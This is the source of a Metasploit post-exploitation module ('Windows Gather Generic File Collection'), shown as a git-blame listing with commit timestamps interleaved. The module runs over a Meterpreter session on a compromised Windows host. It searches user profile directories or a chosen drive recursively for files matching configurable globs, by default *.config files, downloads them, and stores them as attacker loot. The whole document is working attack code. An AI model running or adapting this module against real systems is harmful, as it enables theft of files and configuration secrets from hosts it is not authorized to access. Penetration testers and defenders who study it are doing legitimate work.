2012-06-21 01:21:53 -05:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-06-21 01:21:53 -05:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Post
|
2012-06-16 11:14:08 -04:00
|
|
|
include Msf::Post::File
|
2022-04-05 11:34:37 +01:00
|
|
|
include Msf::Post::Windows::FileSystem
|
2023-05-25 12:45:30 +10:00
|
|
|
include Msf::Post::Windows::Version
|
2012-06-16 11:14:08 -04:00
|
|
|
include Msf::Auxiliary::Report
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2021-09-10 12:53:39 +01:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Windows Gather Generic File Collection',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module downloads files recursively based on the FILE_GLOBS option.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => [
|
2012-06-21 01:21:53 -05:00
|
|
|
'3vi1john <Jbabio[at]me.com>',
|
|
|
|
|
'RageLtMan <rageltman[at]sempervictus>'
|
|
|
|
|
],
|
2021-09-10 12:53:39 +01:00
|
|
|
'Platform' => [ 'win' ],
|
2021-10-06 13:43:31 +01:00
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
|
'Compat' => {
|
|
|
|
|
'Meterpreter' => {
|
|
|
|
|
'Commands' => %w[
|
|
|
|
|
stdapi_fs_search
|
|
|
|
|
stdapi_railgun_api
|
|
|
|
|
stdapi_sys_config_getenv
|
|
|
|
|
]
|
|
|
|
|
}
|
|
|
|
|
}
|
2021-09-10 12:53:39 +01:00
|
|
|
)
|
|
|
|
|
)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-06-16 11:14:08 -04:00
|
|
|
register_options(
|
|
|
|
|
[
|
2012-06-21 01:21:53 -05:00
|
|
|
OptString.new('SEARCH_FROM', [ false, 'Search from a specific location. Ex. C:\\']),
|
2021-09-10 12:53:39 +01:00
|
|
|
OptString.new('FILE_GLOBS', [ true, 'The file pattern to search for in a filename', '*.config'])
|
|
|
|
|
]
|
|
|
|
|
)
|
2012-06-16 11:14:08 -04:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-06-21 01:21:53 -05:00
|
|
|
def download_files(location, file_type)
|
2013-12-19 11:43:59 +10:00
|
|
|
sysdriv = client.sys.config.getenv('SYSTEMDRIVE')
|
2023-02-08 13:47:34 +00:00
|
|
|
profile_path_old = sysdriv + '\\Documents and Settings\\'
|
|
|
|
|
profile_path_new = sysdriv + '\\Users\\'
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2023-05-25 12:45:30 +10:00
|
|
|
version = get_version_info
|
2012-06-16 11:14:08 -04:00
|
|
|
if location
|
2012-06-21 01:21:53 -05:00
|
|
|
print_status("Searching #{location}")
|
2023-05-25 12:45:30 +10:00
|
|
|
getfile = client.fs.file.search(location, file_type, true, -1)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2023-05-25 12:45:30 +10:00
|
|
|
elsif version.build_number < Msf::WindowsVersion::Vista_SP0
|
2012-06-21 01:21:53 -05:00
|
|
|
print_status("Searching #{profile_path_old} through windows user profile structure")
|
2023-05-25 12:45:30 +10:00
|
|
|
getfile = client.fs.file.search(profile_path_old, file_type, true, -1)
|
2021-09-10 12:53:39 +01:00
|
|
|
else
|
2012-06-21 02:53:44 -05:00
|
|
|
# For systems such as: Windows 7|Windows Vista|2008
|
2012-06-21 01:21:53 -05:00
|
|
|
print_status("Searching #{profile_path_new} through windows user profile structure")
|
2023-05-25 12:45:30 +10:00
|
|
|
getfile = client.fs.file.search(profile_path_new, file_type, true, -1)
|
2012-06-21 01:21:53 -05:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-06-16 11:14:08 -04:00
|
|
|
getfile.each do |file|
|
2012-06-21 01:21:53 -05:00
|
|
|
filename = "#{file['path']}\\#{file['name']}"
|
2012-06-16 11:14:08 -04:00
|
|
|
data = read_file(filename)
|
|
|
|
|
print_status("Downloading #{file['path']}\\#{file['name']}")
|
2023-02-08 13:47:34 +00:00
|
|
|
p = store_loot('host.files', 'application/octet-stream', session, data, file['name'], filename)
|
2012-06-21 01:21:53 -05:00
|
|
|
print_good("#{file['name']} saved as: #{p}")
|
|
|
|
|
end
|
2012-06-16 11:14:08 -04:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-06-16 11:14:08 -04:00
|
|
|
def run
|
2012-06-21 01:21:53 -05:00
|
|
|
# When the location is set, make sure we have a valid path format
|
|
|
|
|
location = datastore['SEARCH_FROM']
|
2023-02-08 13:47:34 +00:00
|
|
|
if location && location !~ (%r{^([a-z]):[\\|/].*}i)
|
2012-06-21 01:21:53 -05:00
|
|
|
print_error("Invalid SEARCH_FROM option: #{location}")
|
|
|
|
|
return
|
2012-06-16 11:14:08 -04:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-06-21 01:21:53 -05:00
|
|
|
# When the location option is set, make sure we have a valid drive letter
|
2023-02-08 13:47:34 +00:00
|
|
|
my_drive = ::Regexp.last_match(1)
|
2012-06-21 01:21:53 -05:00
|
|
|
drives = get_drives
|
2023-02-08 13:47:34 +00:00
|
|
|
if location && !drives.include?(my_drive)
|
2012-06-21 01:21:53 -05:00
|
|
|
print_error("#{my_drive} drive is not available, please try: #{drives.inspect}")
|
|
|
|
|
return
|
2012-06-16 11:14:08 -04:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2023-02-08 13:47:34 +00:00
|
|
|
datastore['FILE_GLOBS'].split(',').each do |glob|
|
|
|
|
|
download_files(location, glob.strip)
|
|
|
|
|
rescue ::Rex::Post::Meterpreter::RequestError => e
|
|
|
|
|
if e.message =~ /The device is not ready/
|
|
|
|
|
print_error("#{my_drive} drive is not ready")
|
|
|
|
|
next
|
|
|
|
|
elsif e.message =~ /The system cannot find the path specified/
|
|
|
|
|
print_error('Path does not exist')
|
|
|
|
|
next
|
|
|
|
|
else
|
|
|
|
|
raise e
|
2012-06-21 01:21:53 -05:00
|
|
|
end
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2023-02-08 13:47:34 +00:00
|
|
|
print_status('Done!')
|
2012-06-21 01:21:53 -05:00
|
|
|
end
|
2012-06-16 11:14:08 -04:00
|
|
|
end
|